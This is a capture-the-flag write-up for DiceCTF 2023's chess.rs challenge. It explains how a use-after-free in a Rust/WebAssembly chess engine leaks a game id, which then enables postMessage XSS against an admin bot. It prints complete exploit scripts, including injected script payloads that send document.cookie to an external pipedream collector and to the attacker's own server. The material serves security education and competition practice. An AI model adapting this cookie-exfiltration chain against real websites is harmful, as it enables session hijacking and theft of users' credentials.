TL;DR
chess.rs is a pwn(/web) challenge using Rust with WebAssembly. The goal is to extract the cookies of the admin browser bot.
We have a rust webserver providing two pages index.html (graphical frontend) and engine.html ("backend", runs the wasm logic). index.html loads engine.html as an iframe. They send messages through .postMessage
and receive them through the window.onmessage
event listener.
There is a hidden parameter in the init function on engine.html that allows setting a custom board position via FEN. If this parameter is used a UAF (use after free) is triggered on successive init calls with the same id which allows leaking values in the heap. We can use this vulnerability to leak the original game id.
This can be used to hijack the communication with index.html and cause an XSS with a malicious error
message.
We can exploit this by creating a malicious website that opens chessrs.mc.ax with window.open
. After that ,we can communicate with index.html and engine.html through .postMessage
to leak the id and cause and XSS, which leaks the SameSite=Lax
Cookies of the adminbot.
The whole exploit is at the end of the page.
Introduction
chess.rs is a pwn (and web) challenge which was ranked in the middle of the DiceCTF 2023 pwn challenges. The following description was given
🚀 blazingfast rust wasm chess 🚀
(the flag is in the admin bot's cookie)
The Information: "(the flag is in the admin bot's cookie)", made us guess that we will probably need to find an XSS on the website. But first, let us look at the websites.
Visiting chessrs.mc.ax gave us the following website:
It's a chessboard that allows you to play chess with yourself, after trying different stuff we can conclude:
- Only legal moves are allowed (even castling, en passant)
- checkmate isn't shown, but the losing site isn't allowed to make any moves
- Move history is tracked in the white box to the right
- pressing restart reloads the pages
Looking at the traffic we see that moves aren't sent to a remote server, therefore everything is handled client-side, this also explains white the board is reset even after a soft reload.
and Admin Bot gave us this form:
which visits any website with these parameters:
GET / HTTP/1.1
Host: 0x6fe1be2.requestcatcher.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5412.0 Safari/537.36
Sadly we can't conclude what browser engine is used through User-Agent :,).
Source Code
First, we look at the file structure:
.:
build.sh
Dockerfile
./app:
Cargo.lock
Cargo.toml
./app/src:
main.rs
./app/static:
engine.html
index.html
./app/static/js:
chess_wasm_bg.wasm
chess_wasm.js
game.js
./app/static/mp3:
...
./app/static/img:
...
./app/static/css:
...
./chess-wasm:
Cargo.lock
Cargo.toml
./chess-wasm/src:
game.rs
handler.rs
lib.rs
Looking at build.sh we see that the rust webserver runs in ./app and ./chess-wasm hold the chess logic in rust, which is compiled into web assembly and served to the client.
#!/bin/sh
# use if you want to build everything and test locally
cd chess-wasm && wasm-pack build --no-typescript --release --target web && cd ..
cd app && cargo build --release && cd ..
cp chess-wasm/pkg/chess_wasm* app/static/js/
cd app && cargo run --release && cd ..
we also recognize that the actual web server is ./app/src/main.rs.
#[tokio::main]
async fn main() {
...
let spa = SpaRouter::new("/", "static");
...
}
By looking at the webserver code we realise that all resources in ./app/static are served through the web server, which proves that everything is truly done on the client.
Let us take a closer look at the served resources on the website:
./app/static:
engine.html
index.html
./app/static/js:
chess_wasm_bg.wasm
chess_wasm.js
game.js
There are only two .html pages:
engine.html
<!DOCTYPE html>
<html>
<body>
<script type="module">
import * as chess from "/js/chess_wasm.js";
await chess.default();
window.onmessage = (e) => {
if (typeof e.data !== "object") return;
e.source.postMessage(chess.handle(JSON.stringify(e.data)), e.origin);
};
window.top.postMessage("ready", "*");
</script>
</body>
</html>
and index.html
<!DOCTYPE html>
<html lang="en">
<head>
...
</head>
<body>
...
<script src="/js/game.js" type="module"></script>
<iframe src="/engine.html" id="engine"></iframe>
</body>
</html>
One interesting discovery is that index.html includes engine.html as an iframe. In addition, the Rust WebAssembly Code is only imported by engine.html. index.html imports game.js.
game.js
// sorry for the spaghetti
...
const engine = $("#engine")[0].contentWindow;
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const id = [...crypto.getRandomValues(new Uint8Array(16))].map(v => alphabet[v % alphabet.length]).join("");
...
const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);
...
window.onmessage = (e) => {
if (e.data === "ready") {
send({ type: "init"});
return;
}
if (e.data.id !== id) return;
if (e.data.type === "init") {
board = Chessboard('chessboard', {
...
onDragStart: (source) => ...,
onDrop: (source, target) => {
...
send({ type: "play_move", data: action });
},
onMouseoutSquare: () => {...},
onMouseoverSquare: (pos) => {...},
});
send({ type: "get_state" });
}
if (e.data.type === "play_move") {
send({ type: "get_state" });
}
if (e.data.type === "error") {
$("#error").html(e.data.data);
send({ type: "get_state" });
}
if (e.data.type === "get_state") {
state = e.data.data;
board.position(state.current_fen, true);
$("#history").text(state.history.map((v, i) => `${i+1}. ${v}`).join("\n"));
...
}
};
This code is very important. We see that all communication to the chess logic happens through the <iframe src="engine.html" />
and the window.onmessage
event listener.
Data is sent to the engine through const send = (msg) => engine.postMessage({ ...msg, id }, location.origin);
using the postMessage
interface. Whereas Request always follow this schema
{
// securely generated on startup
id: '...',
type: 'init' | 'get_state' | 'play_move',
// optional
// depends on type
data: '...'
}
All responses are captured by window.onmessage
and follow this schema:
{
...
data: 'ready' | {
type: 'play_move' | 'get_state' | 'error',
// optional
data: '...' // depends on type
}
}
Another important discovery is that messages from the iframe directly get written into the open page (for type error
or get_state
), which makes it possible to create an XSS if we manage to somehow hijack this communication interface. The only check preventing us from directly triggering the window.onmessage
event listener is this check: if (e.data.id !== id) return;
.
XSS PoC
Using the know information we can already try to create some PoC (Proof of concepts). If we open Developer Tools inside the browser and set a breakpoint right after the id
we can easily extract it and use it to play around with the engine. Alternatively, we can host the chess.rs ourselves and hardcode the id
.
Now we use the following Code to directly communicate with the engine:
$("#engine")[0].contentWindow.postMessage({type:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'}, 'http://192.168.56.10:1337');
And tada it works.
It is also possible to just communicate directly with index.
window.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'});
Exploit Interface
After creating and finding this PoC we needed to find a way to send messages to the index and engine. As we found out earlier there wasn't an GET Request or something else we could use for this mission.
We decided that iframes are the way to go, they allow us to open the website and directly communicate with it, these options seemed too good to be true (and turned out to be) and we set forth to create another PoC.
poc.html
<!doctype html>
<html>
<body>
<iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
<script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);
window.onmessage = (e) => {
console.log(e.data);
if (e.data === "ready") {
send({type:'error', data:'<img src=x onerror=alert(1)>'});
}
};
</script>
</body>
</html>
And it worked again!!!
Now we only need to somehow leak the id and we should be able to solve this challenge.
Authors Note:
Normally at this point, a seasoned CTF veteran should realize that things are going too smoothly especially considering that no one has solved this challenge at this point. But let us stop with the foreshadowing and continue.
chess_wasm
After finding a way to create an XSS we now look into ./chess_wasm code the find a way to leak the id.
./chess-wasm:
Cargo.lock
Cargo.toml
./chess-wasm/src:
game.rs
handler.rs
lib.rs
There are 3 rust files:
- lib.rs
interface for accessing the imported rust dependencies
- handler.rs
iframe onmessage interface.
- game.rs
actual game logic
After looking into the source code we discover that there is a hidden functionality in the init
call. It is possible to manually set a FEN, to specify a start layout in the chess game.
handler.rs
...
pub fn handle(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
match msg.r#type.as_str() {
"init" => init(msg),
"get_state" => get_state(msg),
"play_move" => play_move(msg),
unk => Err(anyhow!("Unknown type '{unk}'")),
}
}
fn get_data<T: DeserializeOwned>(data: &Option<serde_json::Value>) -> anyhow::Result<T> { ... }
type InitData = String;
fn init(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
// get data attribute from message
let data: InitData = get_data(&msg.data).unwrap_or_default();
// game id format check alphanumeric 16 characters max
...
let mut state = STATE.lock().unwrap();
// check if game with same id already exists
if let Some(state) = state.get(&msg.id) {
return Ok(EngineResponse {
new_type: Some("error".to_string()),
data: Some(json!(format!("The game '{:#?}' already exists", state))),
});
}
// create a new game with provided data
let game = Game::start(&data);
state.insert(msg.id.clone(), EngineState { game });
Ok(EngineResponse {
new_type: None,
data: Some(json!("ready")),
})
}
fn get_state(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }
fn play_move(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }
game.rs
...
#[derive(Debug)]
pub enum StartType {
Fen,
Epd,
}
// to store all moves and history
#[derive(Debug)]
pub struct Game<'a> {
pub start_type: StartType,
pub start: &'a str,
pub moves: Vec<Move>,
}
static DEFAULT_FEN: &str = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1";
pub trait ChessGame {
fn start(init: &str) -> Self;
fn get_state(&self) -> Chess;
fn get_fen(&self) -> String;
fn get_moves(&self) -> Vec<String>;
fn make_move(&mut self, m: &str) -> anyhow::Result<String>;
}
fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }
fn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }
impl ChessGame for Game<'_> {
fn start(init: &str) -> Self {
let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen;
if init.contains(';') {
validator = validate_epd;
}
// check if init is set and use DEFAULT_FEN if not
let data: (StartType, &str) = validator(init, &DEFAULT_FEN);
Game {data: Some(json!(format!("The game '{:#?}' already exists", state))),
start_type: data.0,
start: data.1,
moves: Vec::new(),
}
}
fn get_state(&self) -> shakmaty::Chess { ... }
fn get_fen(&self) -> String { ... }
fn get_moves(&self) -> Vec<String> { ... }
fn make_move(&mut self, m: &str) -> anyhow::Result<String> { ... }
}
Authors Note:
It should also be possible to set an EPD by adding a semicolon (
;
), but the library uses Shakmaty for validating FENs or EPDs, which doesn't support semicolons for EPDs.We also realized that wasm_binding version used was out of date (2.5 years old), but we didn't find any vulnerability regarding this discovery.
Leaking ID
Trying to set a starting FEN manually actually corrupts the newly created Game structure. This can be reproduced like this.
leak.html
<!doctype html>
<html>
<body>
<iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
<script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);
window.onmessage = (e) => {
if (e.data === "ready") {
// create a new chess game with custom FEN
e.source.postMessage({data:'k6K/8/8/8/8/8/8/8 w - - 0 1', type:'init', id:'any'}, 'http://192.168.56.10:1337');
setTimeout(() => {
// leak heap memory with use after free vulnerability
e.source.postMessage({type:'init', data:' ', id:'any'}, 'http://192.168.56.10:1337');
}, 100);
}
if (e.data.type === 'error'){
console.log(e.data.data);
} else console.log(e.data);
};
</script>
</body>
</html>
Returns the output:
The game 'EngineState {
game: Game {
start_type: Fen,
start: " game: Game {\n 8\0\0",
moves: [],
},
}' already exists
Looking at the output we realize that we likely leaked some data from the heap. There is probably due to a use after free (UAF) vulnerability in Rust, where the heap memory allocated by FEN is probably freed even though it is still in use. This is an important discovery because it will likely help us leak the original id, which is needed for our XSS.
The leak occurs if a duplicated ID is provided, which results in the corresponding game to be returned in an error message.
handler.rs
// check if game with same id already exists
if let Some(state) = state.get(&msg.id) {
return Ok(EngineResponse {
new_type: Some("error".to_string()),
data: Some(json!(format!("The game '{:#?}' already exists", state))),
});
}
Playing around with this vulnerability sometimes returns and Error Uncaught TypeError: TextDecoder.decode : Decoding failed
in the TextDecoder. This is due to an illegal character being decoded in /js/chess_wasm.js which is loaded in engine.html. This makes the exploit creation process a lot harder because we don't just need to leak the right heap but we must also watch out that no illegal character is decoded. Also we can't just remove illegal characters because we don't have access to the wasm to js interface.
Trial and Error
After discovering this vulnerability we started manually changing the length of the creation and leak message. This was fairly easy because Shakmaty (the library used for FEN parsing) trimmed the provided fen which allowed us to generate arbitrary long FENs. It is also important to note, that the leak Message doesn't need to provide a valid FEN.
- creation (first call with unique id)
specifies how much data can be leaked and how large the freed memory section is
- leak (repeated call with an id)
moves the leaked memory section with the length of the send request (id and type attributes are mandatory)
After some trial and error, we managed to leak 8 bytes of the original game id.
8/16
const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;
function ws(nmb){
let out = "";
for(let i = 0; i < nmb; i++) out += " ";
return out;
}
window.onmessage = (e) => {
if (source == null){
source = e.source;
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
setTimeout(() => {
console.log('create');
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x48) + ' - 0 1',id:id}, origin);
}, 500);
}, 500);
}
if (e.data === 'ready') console.log(e.data);
else console.log(e.data.data);
return;
};
Then we discovered 5 more bytes.
13/16
source = e.source;
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
setTimeout(() => {
console.log('create');
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x7 + 0x38) + ' - 0 1',id:id}, origin);
setTimeout(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq'+ws(0x8)+' - 0 1',id:id2}, origin);
setTimeout(() => {
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w -' + ws(0x3) + '- 0 1',id:id2}, origin);
}, 500);
}, 500);
}, 500);
}, 500);
}, 500);
At this point we realized that the remaining 3 characters only results in about 200k (62^3) permutations, so we tried to brute force it. Our brute force script took about 10 seconds, but after creating a ticket and asking how long the adminbot stays on the site, we received the answer that exploit must take no more than 5 seconds, which made this approach impossible. Therefore we proceeded in trying to leak more bytes.
15/16
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
setTimeout(() => {
console.log('create');
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
setTimeout(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
setTimeout(() => {
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
setTimeout(() => {
index.postMessage('ready', origin);
setTimeout(() => {
source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
}, 500);
}, 500);
}, 500);
}, 500);
}, 500);
}, 500);
}, 500);
This created the output:
{id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "xzro2tXK\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
moves: [],
},
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "_____________________________aWe38xzro2",
moves: [],
},
}' already exists
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________________:\"Ot\u{13}\0\0\00x6fe1b",
moves: [],
},
}' already exists
index.js:84 Ot aWe38xzro2tXK
As you can see different bytes of the original game id are leaked in every error message.
Authors Note:
Even though this exploit code doesn't seem overly complicated it took multiple hours of trial and error to create it.
7 Stages of Grief
After seemingly combing all components we created our first possible solution for the challenge. But we soon hit a roadblock.
index.html
<!doctype html>
<html>
<head>
<title>chess.rs exploit</title>
</head>
<body>
<iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe>
<script type="module" src="/js/index.js"></script>
</body>
</html>
js/index.js
const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;
var leaked_id = "";
function ws(nmb){
let out = "";
for(let i = 0; i < nmb; i++) out += " ";
return out;
}
window.onmessage = (e) => {
console.log(e.data);
if (source == null){
source = e.source;
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin)
delay(50).then(() => {
console.log('create');
index.postMessage('ready', origin);
return delay(50);
}).then(() => {
source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
return delay(50);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
return delay(50);
}).then(() => {
index.postMessage('ready', origin);
return delay(50);
}).then(() => {
source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
return delay(50);
}).then(() => {
index.postMessage('ready', origin);
return delay(50);
}).then(() => {
source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
return delay(50);
}).then(() => {
console.log(leaked_id);
fetch(`https://en3kdn8ehra43.x.pipedream.net/?${leaked_id}`);
for (var i = 0; i < alphabet.length; i++) {
let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
index.postMessage({ type: 'error', id: id, data: "<script>fetch(`https://en3kdn8ehra43.x.pipedream.net/?${document.cookie}`);</script>" }, origin);
}
});
}
if (e.data === 'ready') return;
if (e.data.type === 'error') {
if (leaked_id.length === 0) {
leaked_id = e.data.data.substr(82,8);
} else if (leaked_id.length === 8) {
leaked_id = e.data.data.substr(111,5) + leaked_id;
} else if (leaked_id.length === 13) {
leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
}
}
//index.postMessage(e.data, origin);
return;
};
After trying to extract cookies with this script we soon came to realize that only Same-Site: None
could be extracted by this method, not the default Same-Site: Lax
.
Thinking that there is no other way to create an exploit interface we decided to create a ticket an ask if there might be a problem with the adminbot and if this was the intended solution.
Authors Note:
After this setback, we decided to call it for tonight because we had already spent about 15 hours on this challenge and were close to collapsing.
adminbot-test.js
Our bargain the day befoire resulted in the release of adminbot-test.js
which provided us with important information.
// npm i puppeteer
// script to emulate admin bot
const puppeteer = require("puppeteer");
const FLAG = "flag{test_flag}";
function sleep(time) {
return new Promise(resolve => {
setTimeout(resolve, time)
})
}
const visit = async (url) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
],
dumpio: true
});
const page = await browser.newPage();
await page.goto('https://chessrs.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate(flag => {
document.cookie = `flag=${flag}`;
}, FLAG);
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
await sleep(3000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
// place your exploit URL here
visit("EXPLOIT_URL");
First of all, puppeteer uses Chromium by default, which allowed us to create a more suited test environment. Also now we know that cookies are set directly with document.cookie='flag=...'
which proved that they have the default security setting SameSite=Lax, that is also why our first attempt didn't work. Also, puppeteer doesn't disable Popups which is major news because our web specialist advised us on using window.open(...)
instead of iframes because it allowed us to access SameSite: Lax
cookies.
XSS PoC V2
Now we need to create a new Proof of Concept using window.open(...)
:
poc2.html
<!doctype html>
<html>
<body>
<script>
const origin = "http://192.168.56.10:1337/"
const index = window.open(origin);
const id = '0x6fe1be20c0ffee';
var source = null;
setTimeout(() => {
index.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:id});
}, 250);
</script>
</body>
</html>
This was a fairly easy task, because it still used .postMessage(...)
for communication
the_definition_of_insanity.mp3
Now that we have our new proof of concept we need to leak the id. Sadly our old leak didn't work and we needed to brute force the different combinations of message and leak length again.
After a few hours, i once again create a leak id script that worked on my test environment.
var delaytime = 50;
function exploitWindow(){
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
delay(delaytime).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
return delay(delaytime);
}).then(() => {
console.log(leaked_id);
for (var i = 0; i < alphabet.length; i++) {
let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
index.postMessage({ type: 'error', id: id, data: payload }, origin);
}
});
}
That once again managed to leak the 15 Bytes of the id:
Window PWN
index.js:37 {id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "Q5D46ARH\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
moves: [],
},
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________________:\"NK\u{13}\0\0\00x6fe1be3H\"}#\0\0\0___",
moves: [],
},
}' already exists
index.js:37 {id: '', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________te\",\u{1b}\0\0\0errorCqusQQ5D46",
moves: [],
},
}' already exists
index.js:84 NK CqusQQ5D46ARH
Authors Note:
I need the reader to understand that at this point I probably spent about 8 hours of my life manually changing the lengths of strings which brought me to the brink of insanity. After spending this plus more hours on this challenge I didn't just want the flag.
Mental Breakdown
After doing nearly every step again except this time using a new window instead of an iframe my hopes were up again. With only a few hours reaming until the CTF closes I hoped that this time everything would work out and we finally get the flag.
Once again everything worked on my machine. This time it was also possible to extract LAX document.cookies, which worked on my test instance as well as the main instance one chessrs.mc.ax. But to my surprise, I didn't work.
Authors Note:
insert rant about web challenges here
Light at the end of a Tunnel
Luckily by desperately playing around with my exploit, I concluded that the problem was the duration of my delay and by doubling it, it finally worked on the admin bot :,) .
LEEETTTTSSSS_GGOOOOOOOOOOO!!!!!111!1.mp3
Flag: dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}
Final Exploit (deployed on apache2) :
index.html
<!doctype html>
<html>
<head>
<title>chess.rs exploit</title>
</head>
<body>
<!--iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe-->
<!--<iframe src="https://chessrs.mc.ax/engine.html" id="engine"></iframe>-->
<script type="module" src="/js/index.js"></script>
</body>
</html>
js/index.js
const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const origin = "https://chessrs.mc.ax/";
const index = window.open(origin);
//const index = document.getElementById('index').contentWindow;
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '';
console.log('PWN');
var source = null;
var leaked_id = "";
var delaytime = 100;
window.onmessage = (e) => {
if (e.data.type === 'error') {
console.log(e.data.data);
if (leaked_id.length === 0) {
leaked_id = e.data.data.substr(82,8);
} else if (leaked_id.length === 8) {
leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
} else if (leaked_id.length === 11) {
leaked_id = leaked_id.substr(0,3) + e.data.data.substr(120,5) + leaked_id.substr(3, 8);
} else
console.log(e.data);
}
if (source == null){
source = e.source;
setTimeout(exploitIframe, delaytime)
}
return;
};
function ws(nmb){
let out = "";
for(let i = 0; i < nmb; i++) out += "_";
return out;
}
function exploitWindow(){
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
delay(delaytime).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
return delay(delaytime);
}).then(() => {
console.log(leaked_id);
fetch(location.origin + '/id.html?' + leaked_id);
for (var i = 0; i < alphabet.length; i++) {
let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
index.postMessage({ type: 'error', id: id, data: payload }, origin);
}
});
}
function exploitIframe(){
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
delay(delaytime).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
return delay(delaytime);
}).then(() => {
index.postMessage('ready', origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
return delay(delaytime);
}).then(() => {
source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
return delay(delaytime);
}).then(() => {
console.log(leaked_id);
for (var i = 0; i < alphabet.length; i++) {
let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
let payload = `<script> console.log(document.cookie); </script>`;
index.postMessage({ type: 'error', id: id, data: payload }, origin);
}
});
}
setTimeout(() => {
if(source == null){
source = index.frames[0];
exploitWindow();
}
}, delaytime*2);
The Flag was extracted by watching the apache2 logs with tail -f /var/log/apache2/error.log
Author note:
I believe I spend about 19 hours in total on this challenge and I'm just happy we solved it
Notes
Future
In the future, we should look into a better way to debug wasm code in order to rationalize memory behaviour better than just trying random values.
Also, we need a better Test interface, that reduces user interaction, maybe using Browser Automation Tools like Puppeteer or Selenium are an Option
I really recommend reading through the official writeup because it goes more into detail about the underlying bug in Rust that causes the use after free to occur.
Why do these values work? I didn't want to trace heap allocations, so... ¯(ツ)/¯
Good to know that the creator of the solution also just tried random values, I wonder if there is some trick to reduce the amount of time wasted on this process (he probably just wrote a program to brute force it)
Then, with this leak, we can send an error message to the iframe at
https://chessrs.mc.ax
, and get JS execution on that page! Now there's only one problem left - SameSite. Since the flag is in the admin's cookie and is set with justdocument.cookie
, it is SameSite Lax by default, which means that the cookie isn't in the iframe. I know that one team got really tripped up by this.
We got mentioned in the official write-up!!!!